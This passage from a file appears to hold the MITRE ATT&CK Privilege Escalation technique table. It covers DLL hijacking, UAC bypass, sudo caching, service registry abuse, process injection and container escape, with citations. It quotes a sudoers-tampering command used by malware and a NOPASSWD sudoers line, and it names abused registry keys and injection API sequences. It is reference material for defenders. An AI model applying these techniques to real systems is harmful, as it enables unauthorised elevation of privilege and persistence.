C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe\nT1013 | Port Monitors | A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM." + "source": "# Privilege Escalation\nThe adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\n* SYSTEM/root level\n* local administrator\n* user account with admin-like access \n* user accounts with access to specific system or perform specific function\n\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1055.011 | Extra Window Memory Injection | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1053.005 | Scheduled Task | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) \nT1037 | Boot or Logon Initialization Scripts | Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.\nT1574.007 | Path Interception by PATH Environment Variable | Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)\nT1546.013 | PowerShell Profile | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\nT1543 | Create or Modify System Process | Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) \nT1546.006 | LC_LOAD_DYLIB Addition | Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)\nT1053.007 | Container Orchestration Job | Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)\nT1548.002 | Bypass User Account Control | Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)\nT1548.003 | Sudo and Sudo Caching | Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\nT1574.011 | Services Registry Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)\nT1547 | Boot or Logon Autostart Execution | Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.\nT1547.014 | Active Setup | Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\nT1484.002 | Domain Trust Modification | Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \nT1543.003 | Windows Service | Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).\nT1053.003 | Cron | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). \nT1098.003 | Additional Cloud Roles | An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\nT1547.012 | Print Processors | Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\nT1574.001 | DLL Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\nT1098.006 | Additional Container Cluster Roles | An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).\nT1053 | Scheduled Task/Job | Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)\nT1055.003 | Thread Execution Hijacking | Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. \nT1546.011 | Application Shimming | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\nT1547.010 | Port Monitors | Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\nT1037.002 | Login Hook | Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) \nT1055 | Process Injection | Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. \nT1611 | Escape to Host | Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host 